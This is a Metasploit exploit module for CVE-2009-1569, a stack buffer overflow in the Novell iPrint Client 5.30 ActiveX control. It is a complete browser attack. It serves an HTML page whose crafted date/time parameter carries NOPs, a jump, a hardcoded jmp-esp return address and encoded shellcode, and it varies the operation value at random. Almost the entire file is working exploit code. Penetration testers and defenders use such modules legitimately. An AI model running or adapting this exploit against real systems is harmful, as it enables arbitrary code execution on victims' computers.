##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell iPrint Client ActiveX Control Date/Time Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When
        passing a specially crafted date/time string via certain parameters to ienipp.ocx
        an attacker can execute arbitrary code.

        NOTE: The "operation" variable must be set to a valid command in order to reach this
        vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2009-1569' ],
          [ 'BID', '37242' ],
          [ 'OSVDB', '60804' ],
          [ 'URL', 'http://web.archive.org/web/20091213033620/http://secunia.com:80/advisories/35004' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 512,
          'BadChars'      => "\x00=:;,", # these are used in a strtok
          'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
          'DisableNops'   => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'iPrint 5.30 Windows Client', { 'Ret' => 0x1005ad5b } ] # jmp esp in ienipp.ocx v5.30
        ],
      'DisclosureDate' => '2009-12-08',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    sploit = "volatile-date-time"
    sploit << make_nops(60)
    # this should end up "\xeb\x04"
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
    sploit << [target.ret].pack('V')
    sploit << p.encoded

    operations = [
      "op-client-interface-version",
      "op-client-version-info",
      "op-client-is-printer-installed",
      "op-user-get-role",
      "op-printer-install",
      "op-printer-remove",
      "op-printer-get-status",
      "op-printer-get-info",
      "op-printer-pause",
      "op-printer-resume",
      "op-printer-purge-jobs",
      "op-printer-list-users-jobs",
      "op-printer-list-all-jobs",
      "op-printer-send-test-page",
      "op-printer-send-file",
      "op-printer-setup-install",
      "op-job-get-info",
      "op-job-hold",
      "op-job-release-hold",
      "op-job-cancel",
      "op-job-restart",
      "op-dbg-printer-get-all-attrs",
      "op-dbg-job-get-all-attrs"
    ]
    operation = operations[rand(operations.length)]

    # escape single quotes
    sploit = xml_encode(sploit)

    content = %Q|<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'>
<param name='operation' value='#{operation}' />
<param name='persistence' value='#{sploit}' />
</object>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end

  def xml_encode(str)
    ret = ""
    str.unpack('C*').each { |ch|
      case ch
      when 0x41..0x5a, 0x61..0x7a, 0x30..0x39
        ret << ch.chr
      else
        ret << "&#x"
        ret << ch.chr.unpack('H*')[0]
        ret << ";"
      end
    }
    ret
  end
end
